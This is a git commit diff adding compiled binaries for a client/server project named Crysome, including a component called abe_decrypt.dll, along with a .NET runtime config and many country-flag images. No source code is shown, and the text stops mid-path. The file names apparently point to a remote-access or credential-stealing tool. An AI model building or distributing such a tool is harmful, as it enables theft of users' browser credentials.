commit 3d81b11e1424c16e02ea67bbca6d790c5546d515 Author: i2p Date: Thu Aug 27 11:22:54 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..b11138c Binary files /dev/null and b/.DS_Store differ diff --git a/CRYSOME_COMPILED/Crysome.Client.exe b/CRYSOME_COMPILED/Crysome.Client.exe new file mode 100644 index 0000000..7036ac1 Binary files /dev/null and b/CRYSOME_COMPILED/Crysome.Client.exe differ diff --git a/CRYSOME_COMPILED/Crysome.Server.dll b/CRYSOME_COMPILED/Crysome.Server.dll new file mode 100644 index 0000000..07aec2d Binary files /dev/null and b/CRYSOME_COMPILED/Crysome.Server.dll differ diff --git a/CRYSOME_COMPILED/Crysome.Server.exe b/CRYSOME_COMPILED/Crysome.Server.exe new file mode 100644 index 0000000..7fd2144 Binary files /dev/null and b/CRYSOME_COMPILED/Crysome.Server.exe differ diff --git a/CRYSOME_COMPILED/Crysome.Server.runtimeconfig.json b/CRYSOME_COMPILED/Crysome.Server.runtimeconfig.json new file mode 100644 index 0000000..7f70d46 --- /dev/null +++ b/CRYSOME_COMPILED/Crysome.Server.runtimeconfig.json @@ -0,0 +1,20 @@ +{ + "runtimeOptions": { + "tfm": "net9.0", + "frameworks": [ + { + "name": "Microsoft.NETCore.App", + "version": "9.0.0" + }, + { + "name": "Microsoft.WindowsDesktop.App", + "version": "9.0.0" + } + ], + "configProperties": { + "System.Reflection.Metadata.MetadataUpdater.IsSupported": false, + "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false, + "CSWINRT_USE_WINDOWS_UI_XAML_PROJECTIONS": false + } + } +} \ No newline at end of file diff --git a/CRYSOME_COMPILED/abe_decrypt.dll b/CRYSOME_COMPILED/abe_decrypt.dll new file mode 100644 index 0000000..1dfa843 Binary files /dev/null and b/CRYSOME_COMPILED/abe_decrypt.dll differ diff --git a/CRYSOME_COMPILED/flags/AD.png b/CRYSOME_COMPILED/flags/AD.png new file mode 100644 index 0000000..b4b11d6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AD.png differ diff --git a/CRYSOME_COMPILED/flags/AD@2x.png b/CRYSOME_COMPILED/flags/AD@2x.png new file mode 100644 index 0000000..e6028d9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AD@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AD@3x.png b/CRYSOME_COMPILED/flags/AD@3x.png new file mode 100644 index 0000000..06bc7f9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AD@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AE.png b/CRYSOME_COMPILED/flags/AE.png new file mode 100644 index 0000000..628347b Binary files /dev/null and b/CRYSOME_COMPILED/flags/AE.png differ diff --git a/CRYSOME_COMPILED/flags/AE@2x.png b/CRYSOME_COMPILED/flags/AE@2x.png new file mode 100644 index 0000000..ec5c72a Binary files /dev/null and b/CRYSOME_COMPILED/flags/AE@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AE@3x.png b/CRYSOME_COMPILED/flags/AE@3x.png new file mode 100644 index 0000000..e85d298 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AE@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AF.png b/CRYSOME_COMPILED/flags/AF.png new file mode 100644 index 0000000..0ca7862 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AF.png differ diff --git a/CRYSOME_COMPILED/flags/AF@2x.png b/CRYSOME_COMPILED/flags/AF@2x.png new file mode 100644 index 0000000..1c64eea Binary files /dev/null and b/CRYSOME_COMPILED/flags/AF@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AF@3x.png b/CRYSOME_COMPILED/flags/AF@3x.png new file mode 100644 index 0000000..9795d8c Binary files /dev/null and b/CRYSOME_COMPILED/flags/AF@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AG.png b/CRYSOME_COMPILED/flags/AG.png new file mode 100644 index 0000000..b393130 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AG.png differ diff --git a/CRYSOME_COMPILED/flags/AG@2x.png b/CRYSOME_COMPILED/flags/AG@2x.png new file mode 100644 index 0000000..b1432eb Binary files /dev/null and b/CRYSOME_COMPILED/flags/AG@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AG@3x.png b/CRYSOME_COMPILED/flags/AG@3x.png new file mode 100644 index 0000000..31bd963 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AG@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AI.png b/CRYSOME_COMPILED/flags/AI.png new file mode 100644 index 0000000..ce1ff9d Binary files /dev/null and b/CRYSOME_COMPILED/flags/AI.png differ diff --git a/CRYSOME_COMPILED/flags/AI@2x.png b/CRYSOME_COMPILED/flags/AI@2x.png new file mode 100644 index 0000000..6fa7ae4 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AI@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AI@3x.png b/CRYSOME_COMPILED/flags/AI@3x.png new file mode 100644 index 0000000..b67979b Binary files /dev/null and b/CRYSOME_COMPILED/flags/AI@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AL.png b/CRYSOME_COMPILED/flags/AL.png new file mode 100644 index 0000000..97ca4b2 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AL.png differ diff --git a/CRYSOME_COMPILED/flags/AL@2x.png b/CRYSOME_COMPILED/flags/AL@2x.png new file mode 100644 index 0000000..4d12a58 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AL@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AL@3x.png b/CRYSOME_COMPILED/flags/AL@3x.png new file mode 100644 index 0000000..360254d Binary files /dev/null and b/CRYSOME_COMPILED/flags/AL@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AM.png b/CRYSOME_COMPILED/flags/AM.png new file mode 100644 index 0000000..d3388a3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AM.png differ diff --git a/CRYSOME_COMPILED/flags/AM@2x.png b/CRYSOME_COMPILED/flags/AM@2x.png new file mode 100644 index 0000000..b7c3e81 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AM@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AM@3x.png b/CRYSOME_COMPILED/flags/AM@3x.png new file mode 100644 index 0000000..0303a67 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AM@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AO.png b/CRYSOME_COMPILED/flags/AO.png new file mode 100644 index 0000000..975cc61 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AO.png differ diff --git a/CRYSOME_COMPILED/flags/AO@2x.png b/CRYSOME_COMPILED/flags/AO@2x.png new file mode 100644 index 0000000..444f3f2 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AO@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AO@3x.png b/CRYSOME_COMPILED/flags/AO@3x.png new file mode 100644 index 0000000..3f25f99 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AO@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AR.png b/CRYSOME_COMPILED/flags/AR.png new file mode 100644 index 0000000..fc95418 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AR.png differ diff --git a/CRYSOME_COMPILED/flags/AR@2x.png b/CRYSOME_COMPILED/flags/AR@2x.png new file mode 100644 index 0000000..3e81243 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AR@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AR@3x.png b/CRYSOME_COMPILED/flags/AR@3x.png new file mode 100644 index 0000000..cfb6c08 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AR@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AS.png b/CRYSOME_COMPILED/flags/AS.png new file mode 100644 index 0000000..0e75e1f Binary files /dev/null and b/CRYSOME_COMPILED/flags/AS.png differ diff --git a/CRYSOME_COMPILED/flags/AS@2x.png b/CRYSOME_COMPILED/flags/AS@2x.png new file mode 100644 index 0000000..6a3cbe9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AS@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AS@3x.png b/CRYSOME_COMPILED/flags/AS@3x.png new file mode 100644 index 0000000..84f09e5 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AS@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AT.png b/CRYSOME_COMPILED/flags/AT.png new file mode 100644 index 0000000..0cf5bfa Binary files /dev/null and b/CRYSOME_COMPILED/flags/AT.png differ diff --git a/CRYSOME_COMPILED/flags/AT@2x.png b/CRYSOME_COMPILED/flags/AT@2x.png new file mode 100644 index 0000000..a2d4d9c Binary files /dev/null and b/CRYSOME_COMPILED/flags/AT@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AT@3x.png b/CRYSOME_COMPILED/flags/AT@3x.png new file mode 100644 index 0000000..0e68854 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AT@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AU.png b/CRYSOME_COMPILED/flags/AU.png new file mode 100644 index 0000000..6188db2 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AU.png differ diff --git a/CRYSOME_COMPILED/flags/AU@2x.png b/CRYSOME_COMPILED/flags/AU@2x.png new file mode 100644 index 0000000..fdf4527 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AU@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AU@3x.png b/CRYSOME_COMPILED/flags/AU@3x.png new file mode 100644 index 0000000..f362ebb Binary files /dev/null and b/CRYSOME_COMPILED/flags/AU@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AW.png b/CRYSOME_COMPILED/flags/AW.png new file mode 100644 index 0000000..63e10f9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AW.png differ diff --git a/CRYSOME_COMPILED/flags/AW@2x.png b/CRYSOME_COMPILED/flags/AW@2x.png new file mode 100644 index 0000000..79bfc47 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AW@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AW@3x.png b/CRYSOME_COMPILED/flags/AW@3x.png new file mode 100644 index 0000000..98f15c4 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AW@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AX.png b/CRYSOME_COMPILED/flags/AX.png new file mode 100644 index 0000000..823e17e Binary files /dev/null and b/CRYSOME_COMPILED/flags/AX.png differ diff --git a/CRYSOME_COMPILED/flags/AX@2x.png b/CRYSOME_COMPILED/flags/AX@2x.png new file mode 100644 index 0000000..7172b0a Binary files /dev/null and b/CRYSOME_COMPILED/flags/AX@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AX@3x.png b/CRYSOME_COMPILED/flags/AX@3x.png new file mode 100644 index 0000000..05ddd71 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AX@3x.png differ diff --git a/CRYSOME_COMPILED/flags/AZ.png b/CRYSOME_COMPILED/flags/AZ.png new file mode 100644 index 0000000..0080a02 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AZ.png differ diff --git a/CRYSOME_COMPILED/flags/AZ@2x.png b/CRYSOME_COMPILED/flags/AZ@2x.png new file mode 100644 index 0000000..7075f85 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AZ@2x.png differ diff --git a/CRYSOME_COMPILED/flags/AZ@3x.png b/CRYSOME_COMPILED/flags/AZ@3x.png new file mode 100644 index 0000000..6a39624 Binary files /dev/null and b/CRYSOME_COMPILED/flags/AZ@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BA.png b/CRYSOME_COMPILED/flags/BA.png new file mode 100644 index 0000000..18af34a Binary files /dev/null and b/CRYSOME_COMPILED/flags/BA.png differ diff --git a/CRYSOME_COMPILED/flags/BA@2x.png b/CRYSOME_COMPILED/flags/BA@2x.png new file mode 100644 index 0000000..78eec15 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BA@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BA@3x.png b/CRYSOME_COMPILED/flags/BA@3x.png new file mode 100644 index 0000000..5040b30 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BA@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BB.png b/CRYSOME_COMPILED/flags/BB.png new file mode 100644 index 0000000..797c5d9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BB.png differ diff --git a/CRYSOME_COMPILED/flags/BB@2x.png b/CRYSOME_COMPILED/flags/BB@2x.png new file mode 100644 index 0000000..5f8c96a Binary files /dev/null and b/CRYSOME_COMPILED/flags/BB@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BB@3x.png b/CRYSOME_COMPILED/flags/BB@3x.png new file mode 100644 index 0000000..ee73b23 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BB@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BD.png b/CRYSOME_COMPILED/flags/BD.png new file mode 100644 index 0000000..c7e8420 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BD.png differ diff --git a/CRYSOME_COMPILED/flags/BD@2x.png b/CRYSOME_COMPILED/flags/BD@2x.png new file mode 100644 index 0000000..5d4bb57 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BD@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BD@3x.png b/CRYSOME_COMPILED/flags/BD@3x.png new file mode 100644 index 0000000..182ce32 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BD@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BE.png b/CRYSOME_COMPILED/flags/BE.png new file mode 100644 index 0000000..ecaa6a3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BE.png differ diff --git a/CRYSOME_COMPILED/flags/BE@2x.png b/CRYSOME_COMPILED/flags/BE@2x.png new file mode 100644 index 0000000..80b8440 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BE@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BE@3x.png b/CRYSOME_COMPILED/flags/BE@3x.png new file mode 100644 index 0000000..e4c5092 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BE@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BF.png b/CRYSOME_COMPILED/flags/BF.png new file mode 100644 index 0000000..e0c647d Binary files /dev/null and b/CRYSOME_COMPILED/flags/BF.png differ diff --git a/CRYSOME_COMPILED/flags/BF@2x.png b/CRYSOME_COMPILED/flags/BF@2x.png new file mode 100644 index 0000000..37611dc Binary files /dev/null and b/CRYSOME_COMPILED/flags/BF@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BF@3x.png b/CRYSOME_COMPILED/flags/BF@3x.png new file mode 100644 index 0000000..01941d1 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BF@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BG.png b/CRYSOME_COMPILED/flags/BG.png new file mode 100644 index 0000000..feba76b Binary files /dev/null and b/CRYSOME_COMPILED/flags/BG.png differ diff --git a/CRYSOME_COMPILED/flags/BG@2x.png b/CRYSOME_COMPILED/flags/BG@2x.png new file mode 100644 index 0000000..7968dd0 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BG@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BG@3x.png b/CRYSOME_COMPILED/flags/BG@3x.png new file mode 100644 index 0000000..8ffcb61 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BG@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BH.png b/CRYSOME_COMPILED/flags/BH.png new file mode 100644 index 0000000..bb01cd4 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BH.png differ diff --git a/CRYSOME_COMPILED/flags/BH@2x.png b/CRYSOME_COMPILED/flags/BH@2x.png new file mode 100644 index 0000000..fa7af4b Binary files /dev/null and b/CRYSOME_COMPILED/flags/BH@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BH@3x.png b/CRYSOME_COMPILED/flags/BH@3x.png new file mode 100644 index 0000000..07a0e01 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BH@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BI.png b/CRYSOME_COMPILED/flags/BI.png new file mode 100644 index 0000000..bbbc946 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BI.png differ diff --git a/CRYSOME_COMPILED/flags/BI@2x.png b/CRYSOME_COMPILED/flags/BI@2x.png new file mode 100644 index 0000000..cbec7d6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BI@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BI@3x.png b/CRYSOME_COMPILED/flags/BI@3x.png new file mode 100644 index 0000000..c16e2cd Binary files /dev/null and b/CRYSOME_COMPILED/flags/BI@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BJ.png b/CRYSOME_COMPILED/flags/BJ.png new file mode 100644 index 0000000..02a1f37 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BJ.png differ diff --git a/CRYSOME_COMPILED/flags/BJ@2x.png b/CRYSOME_COMPILED/flags/BJ@2x.png new file mode 100644 index 0000000..96ed2fc Binary files /dev/null and b/CRYSOME_COMPILED/flags/BJ@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BJ@3x.png b/CRYSOME_COMPILED/flags/BJ@3x.png new file mode 100644 index 0000000..56bfbf3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BJ@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BL.png b/CRYSOME_COMPILED/flags/BL.png new file mode 100644 index 0000000..346418c Binary files /dev/null and b/CRYSOME_COMPILED/flags/BL.png differ diff --git a/CRYSOME_COMPILED/flags/BL@2x.png b/CRYSOME_COMPILED/flags/BL@2x.png new file mode 100644 index 0000000..88a5348 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BL@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BL@3x.png b/CRYSOME_COMPILED/flags/BL@3x.png new file mode 100644 index 0000000..ee034f2 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BL@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BM.png b/CRYSOME_COMPILED/flags/BM.png new file mode 100644 index 0000000..4c0bb15 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BM.png differ diff --git a/CRYSOME_COMPILED/flags/BM@2x.png b/CRYSOME_COMPILED/flags/BM@2x.png new file mode 100644 index 0000000..6f83478 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BM@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BM@3x.png b/CRYSOME_COMPILED/flags/BM@3x.png new file mode 100644 index 0000000..389875a Binary files /dev/null and b/CRYSOME_COMPILED/flags/BM@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BN.png b/CRYSOME_COMPILED/flags/BN.png new file mode 100644 index 0000000..8b226a3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BN.png differ diff --git a/CRYSOME_COMPILED/flags/BN@2x.png b/CRYSOME_COMPILED/flags/BN@2x.png new file mode 100644 index 0000000..e1a2825 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BN@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BN@3x.png b/CRYSOME_COMPILED/flags/BN@3x.png new file mode 100644 index 0000000..aeb824d Binary files /dev/null and b/CRYSOME_COMPILED/flags/BN@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BO.png b/CRYSOME_COMPILED/flags/BO.png new file mode 100644 index 0000000..9dc077a Binary files /dev/null and b/CRYSOME_COMPILED/flags/BO.png differ diff --git a/CRYSOME_COMPILED/flags/BO@2x.png b/CRYSOME_COMPILED/flags/BO@2x.png new file mode 100644 index 0000000..25e4963 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BO@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BO@3x.png b/CRYSOME_COMPILED/flags/BO@3x.png new file mode 100644 index 0000000..1ff4a77 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BO@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BR.png b/CRYSOME_COMPILED/flags/BR.png new file mode 100644 index 0000000..c8de59c Binary files /dev/null and b/CRYSOME_COMPILED/flags/BR.png differ diff --git a/CRYSOME_COMPILED/flags/BR@2x.png b/CRYSOME_COMPILED/flags/BR@2x.png new file mode 100644 index 0000000..cb723c0 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BR@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BR@3x.png b/CRYSOME_COMPILED/flags/BR@3x.png new file mode 100644 index 0000000..5a6ba10 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BR@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BS.png b/CRYSOME_COMPILED/flags/BS.png new file mode 100644 index 0000000..43ecfd7 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BS.png differ diff --git a/CRYSOME_COMPILED/flags/BS@2x.png b/CRYSOME_COMPILED/flags/BS@2x.png new file mode 100644 index 0000000..ddf3cc6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BS@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BS@3x.png b/CRYSOME_COMPILED/flags/BS@3x.png new file mode 100644 index 0000000..c176105 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BS@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BT.png b/CRYSOME_COMPILED/flags/BT.png new file mode 100644 index 0000000..1f5631b Binary files /dev/null and b/CRYSOME_COMPILED/flags/BT.png differ diff --git a/CRYSOME_COMPILED/flags/BT@2x.png b/CRYSOME_COMPILED/flags/BT@2x.png new file mode 100644 index 0000000..caeb304 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BT@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BT@3x.png b/CRYSOME_COMPILED/flags/BT@3x.png new file mode 100644 index 0000000..74cf75a Binary files /dev/null and b/CRYSOME_COMPILED/flags/BT@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BV.png b/CRYSOME_COMPILED/flags/BV.png new file mode 100644 index 0000000..a0033be Binary files /dev/null and b/CRYSOME_COMPILED/flags/BV.png differ diff --git a/CRYSOME_COMPILED/flags/BV@2x.png b/CRYSOME_COMPILED/flags/BV@2x.png new file mode 100644 index 0000000..4110d55 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BV@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BV@3x.png b/CRYSOME_COMPILED/flags/BV@3x.png new file mode 100644 index 0000000..879d0ce Binary files /dev/null and b/CRYSOME_COMPILED/flags/BV@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BW.png b/CRYSOME_COMPILED/flags/BW.png new file mode 100644 index 0000000..efa5cea Binary files /dev/null and b/CRYSOME_COMPILED/flags/BW.png differ diff --git a/CRYSOME_COMPILED/flags/BW@2x.png b/CRYSOME_COMPILED/flags/BW@2x.png new file mode 100644 index 0000000..a3f12b9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BW@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BW@3x.png b/CRYSOME_COMPILED/flags/BW@3x.png new file mode 100644 index 0000000..67921f5 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BW@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BY.png b/CRYSOME_COMPILED/flags/BY.png new file mode 100644 index 0000000..648ad6a Binary files /dev/null and b/CRYSOME_COMPILED/flags/BY.png differ diff --git a/CRYSOME_COMPILED/flags/BY@2x.png b/CRYSOME_COMPILED/flags/BY@2x.png new file mode 100644 index 0000000..1351cfa Binary files /dev/null and b/CRYSOME_COMPILED/flags/BY@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BY@3x.png b/CRYSOME_COMPILED/flags/BY@3x.png new file mode 100644 index 0000000..cf6e389 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BY@3x.png differ diff --git a/CRYSOME_COMPILED/flags/BZ.png b/CRYSOME_COMPILED/flags/BZ.png new file mode 100644 index 0000000..0ab6c57 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BZ.png differ diff --git a/CRYSOME_COMPILED/flags/BZ@2x.png b/CRYSOME_COMPILED/flags/BZ@2x.png new file mode 100644 index 0000000..207c4cc Binary files /dev/null and b/CRYSOME_COMPILED/flags/BZ@2x.png differ diff --git a/CRYSOME_COMPILED/flags/BZ@3x.png b/CRYSOME_COMPILED/flags/BZ@3x.png new file mode 100644 index 0000000..8ebbdc3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/BZ@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CA.png b/CRYSOME_COMPILED/flags/CA.png new file mode 100644 index 0000000..8e2b2f6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CA.png differ diff --git a/CRYSOME_COMPILED/flags/CA@2x.png b/CRYSOME_COMPILED/flags/CA@2x.png new file mode 100644 index 0000000..b86ea22 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CA@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CA@3x.png b/CRYSOME_COMPILED/flags/CA@3x.png new file mode 100644 index 0000000..51af35e Binary files /dev/null and b/CRYSOME_COMPILED/flags/CA@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CAF.png b/CRYSOME_COMPILED/flags/CAF.png new file mode 100644 index 0000000..51c767c Binary files /dev/null and b/CRYSOME_COMPILED/flags/CAF.png differ diff --git a/CRYSOME_COMPILED/flags/CAS.png b/CRYSOME_COMPILED/flags/CAS.png new file mode 100644 index 0000000..d7e2fda Binary files /dev/null and b/CRYSOME_COMPILED/flags/CAS.png differ diff --git a/CRYSOME_COMPILED/flags/CC.png b/CRYSOME_COMPILED/flags/CC.png new file mode 100644 index 0000000..c491f22 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CC.png differ diff --git a/CRYSOME_COMPILED/flags/CC@2x.png b/CRYSOME_COMPILED/flags/CC@2x.png new file mode 100644 index 0000000..3ad4980 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CC@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CC@3x.png b/CRYSOME_COMPILED/flags/CC@3x.png new file mode 100644 index 0000000..7cba560 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CC@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CD.png b/CRYSOME_COMPILED/flags/CD.png new file mode 100644 index 0000000..0ad2619 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CD.png differ diff --git a/CRYSOME_COMPILED/flags/CD@2x.png b/CRYSOME_COMPILED/flags/CD@2x.png new file mode 100644 index 0000000..350dc7f Binary files /dev/null and b/CRYSOME_COMPILED/flags/CD@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CD@3x.png b/CRYSOME_COMPILED/flags/CD@3x.png new file mode 100644 index 0000000..a57bcca Binary files /dev/null and b/CRYSOME_COMPILED/flags/CD@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CF.png b/CRYSOME_COMPILED/flags/CF.png new file mode 100644 index 0000000..1353621 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CF.png differ diff --git a/CRYSOME_COMPILED/flags/CF@2x.png b/CRYSOME_COMPILED/flags/CF@2x.png new file mode 100644 index 0000000..9917bff Binary files /dev/null and b/CRYSOME_COMPILED/flags/CF@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CF@3x.png b/CRYSOME_COMPILED/flags/CF@3x.png new file mode 100644 index 0000000..061e7b5 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CF@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CG.png b/CRYSOME_COMPILED/flags/CG.png new file mode 100644 index 0000000..24e43a0 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CG.png differ diff --git a/CRYSOME_COMPILED/flags/CG@2x.png b/CRYSOME_COMPILED/flags/CG@2x.png new file mode 100644 index 0000000..53851c8 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CG@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CG@3x.png b/CRYSOME_COMPILED/flags/CG@3x.png new file mode 100644 index 0000000..51656ea Binary files /dev/null and b/CRYSOME_COMPILED/flags/CG@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CH.png b/CRYSOME_COMPILED/flags/CH.png new file mode 100644 index 0000000..8aa75dd Binary files /dev/null and b/CRYSOME_COMPILED/flags/CH.png differ diff --git a/CRYSOME_COMPILED/flags/CH@2x.png b/CRYSOME_COMPILED/flags/CH@2x.png new file mode 100644 index 0000000..8cd8cc8 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CH@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CH@3x.png b/CRYSOME_COMPILED/flags/CH@3x.png new file mode 100644 index 0000000..aaed3fa Binary files /dev/null and b/CRYSOME_COMPILED/flags/CH@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CI.png b/CRYSOME_COMPILED/flags/CI.png new file mode 100644 index 0000000..f2b9681 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CI.png differ diff --git a/CRYSOME_COMPILED/flags/CI@2x.png b/CRYSOME_COMPILED/flags/CI@2x.png new file mode 100644 index 0000000..3726895 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CI@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CI@3x.png b/CRYSOME_COMPILED/flags/CI@3x.png new file mode 100644 index 0000000..8ceb4dd Binary files /dev/null and b/CRYSOME_COMPILED/flags/CI@3x.png differ diff --git a/CRYSOME_COMPILED/flags/CK.png b/CRYSOME_COMPILED/flags/CK.png new file mode 100644 index 0000000..1726e1f Binary files /dev/null and b/CRYSOME_COMPILED/flags/CK.png differ diff --git a/CRYSOME_COMPILED/flags/CK@2x.png b/CRYSOME_COMPILED/flags/CK@2x.png new file mode 100644 index 0000000..5a9c1c1 Binary files /dev/null and b/CRYSOME_COMPILED/flags/CK@2x.png differ diff --git a/CRYSOME_COMPILED/flags/CK@3x.png 